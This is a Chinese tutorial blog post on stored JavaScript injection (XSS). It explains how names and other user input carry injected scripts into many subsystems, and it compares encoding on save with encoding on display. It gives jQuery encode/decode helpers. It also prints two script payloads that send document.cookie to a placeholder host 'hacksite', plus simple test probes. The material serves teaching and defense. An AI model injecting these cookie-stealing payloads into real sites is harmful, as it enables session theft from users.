JavaScript注入漏洞的原理及防范(详解)


Posted in Javascript onDecember 04, 2016

初次接触:

初次接触JavaScript注入漏洞后,如果不对这种漏洞的作用机理仔细分析并提取出其发生的某种模式,你就不能做到快速的发现项目中可能存在的所有注入风险并在代码中防范。

发生模式:

JavaScript注入漏洞能发生作用主要依赖两个关键的动作,一个是用户要能从界面中注入JavaScript到系统的内存或者后台存储系统中;二是系统中存在一些UI会展示用户注入的数据。

比如注入漏洞最常见的就是发生在各种类型的名字中,比如系统中的人名等等,因为名字往往会在各种系统上显示,如果在某个用户输入名字的时候注入了脚本,那么受其影响的各个系统都有发生注入漏洞的风险。

曾经在帮别的项目做Bug Bash时,我给系统中的一个名字中注入了JavaScript脚本,结果导致使用这个名字的8个子系统、站点、app出现问题。

解决方案:

防范注入漏洞主要有两个思路:一个是在用户输入数据后Encode内容后再保存到持久存储,另一个是在展示用户输入数据的地方Encode从持久存储中取到的数据。

方法一的优点是一般存储用户输入数据的代码少而固定但展示输入数据的UI界面可能有很多而且还会有变化的可能,因此比较好防范;但缺点是存储在持久存储中的数据是Encode后的。

方法二的优点是存储在持久存储中的数据原始内容;但缺点是需要在多处UI界面中写代码防范,而且还得确保在增加新的UI时不忘防范。比如现在Web app比较流行,公司决定开发,那么在开发的过程必须要做好防范,否则可能别的地方都防范好了,但新系统中却没有做好防范,漏洞最后还是发生了。

JavaScript Html Encode/Decode by jQuery:

function htmlEncode(value){

return $('<div/>').text(value).html();

}

function htmlDecode(value){

return $('<div/>').html(value).text();

}

漏洞被用于攻击时注入内容:

jQuery场景:

<script>var i=$("<img></img>");i.attr("src", "http://hacksite?k="+document.cookie);$('body').append(i)</script>

原生JS场景:

<script>var d=document;var i=d.createElement("img");i.setAttribute("src","http://hacksite?k="+d.cookie);d.body.appendChild(i)</script>

测试漏洞时注入内容:

<script>alert(0)</script>

<script>debugger</script> --辅助开发人员快速定位出错的JavaScript代码(打开调试器的情况下)。

以上这篇JavaScript注入漏洞的原理及防范(详解)就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Javascript 相关文章推荐
使用闭包对setTimeout进行简单封装避免出错
Jul 10 Javascript
日常收集整理的JavaScript常用函数方法
Dec 10 Javascript
深入浅析Bootstrap列表组组件
May 03 Javascript
Bootstrap学习笔记之css样式设计(1)
Jun 07 Javascript
BootStrap初学者对弹出框和进度条的使用感觉
Jun 27 Javascript
js防阻塞加载的实现方法
Sep 09 Javascript
手机端实现Bootstrap简单图片轮播效果
Oct 13 Javascript
JavaScript this绑定过程深入详解
Dec 07 Javascript
在Node.js下运用MQTT协议实现即时通讯及离线推送的方法
Jan 24 Javascript
微信小程序常用的3种提示弹窗实现详解
Sep 19 Javascript
在Webpack中用url-loader处理图片和字体的问题
Apr 28 Javascript
SSM VUE Axios详解
Oct 05 Vue.js
浅谈html转义及防止javascript注入攻击的方法
Dec 04 #Javascript
jquery select2的使用心得(推荐)
Dec 04 #Javascript
Jquery删除css属性的简单方法
Dec 04 #Javascript
浅谈jQuery before和insertBefore的区别
Dec 04 #Javascript
jQuery根据ID、CLASS、等获取对象的实例
Dec 04 #Javascript
jQuery得到多个值只能用取Class ,不能用取ID的方法
Dec 04 #Javascript
javaScript中定义类或对象的五种方式总结
Dec 04 #Javascript
You might like
PHP 文件系统详解
2012/09/13 PHP
android上传图片到PHP的过程详解
2015/08/03 PHP
js去字符串前后空格5种实现方法及比较
2013/04/03 Javascript
input输入框鼠标焦点提示信息
2015/03/17 Javascript
javascript图片预加载实例分析
2015/07/16 Javascript
jQuery实现Tab菜单滚动切换的方法
2015/09/21 Javascript
js实现ctrl+v粘贴上传图片(兼容chrome、firefox、ie11)
2016/03/09 Javascript
第一次接触Bootstrap框架
2016/10/24 Javascript
JavaScript对象封装的简单实现方法(3种方法)
2017/01/03 Javascript
nodejs获取微信小程序带参数二维码实现代码
2017/04/12 NodeJs
详解如何用webpack打包一个网站应用项目
2017/07/12 Javascript
vue中实现滚动加载更多的示例
2017/11/08 Javascript
Nodejs下使用gm圆形裁剪并合成图片的示例
2018/02/22 NodeJs
Angular 4.x+Ionic3踩坑之Ionic3.x pop反向传值详解
2018/03/13 Javascript
vue中子组件向父组件传递数据的实例代码(实现加减功能)
2018/04/20 Javascript
Vue程序化的事件监听器(实例方案详解)
2020/01/07 Javascript
vue2路由方式--嵌套路由实现方法分析
2020/03/06 Javascript
JavaScript如何操作css
2020/10/24 Javascript
[00:32]DOTA2上海特级锦标赛 COL战队宣传片
2016/03/04 DOTA
[01:03:54]Liquid vs IG 2018国际邀请赛小组赛BO2 第一场 8.17
2018/08/18 DOTA
python改变日志(logging)存放位置的示例
2014/03/27 Python
在Python的Bottle框架中使用微信API的示例
2015/04/23 Python
如何使用 Pylint 来规范 Python 代码风格(来自IBM)
2018/04/06 Python
python生成不重复随机数和对list乱序的解决方法
2018/04/09 Python
Python DataFrame 设置输出不显示index(索引)值的方法
2018/06/07 Python
Python实现微信中找回好友、群聊用户撤回的消息功能示例
2019/08/23 Python
Python中常见的数制转换有哪些
2020/05/27 Python
opencv 实现特定颜色线条提取与定位操作
2020/06/02 Python
阿玛尼美国官方网站:Armani.com
2016/11/25 全球购物
计算机科学系职业生涯规划书
2014/03/08 职场文书
公司优秀员工获奖感言
2014/08/14 职场文书
小学校园广播稿集锦
2014/10/04 职场文书
团员个人总结
2015/02/26 职场文书
2015年清明节演讲稿范文
2015/03/17 职场文书
2015年爱牙日活动总结
2015/03/23 职场文书
学校运动会通讯稿
2015/07/18 职场文书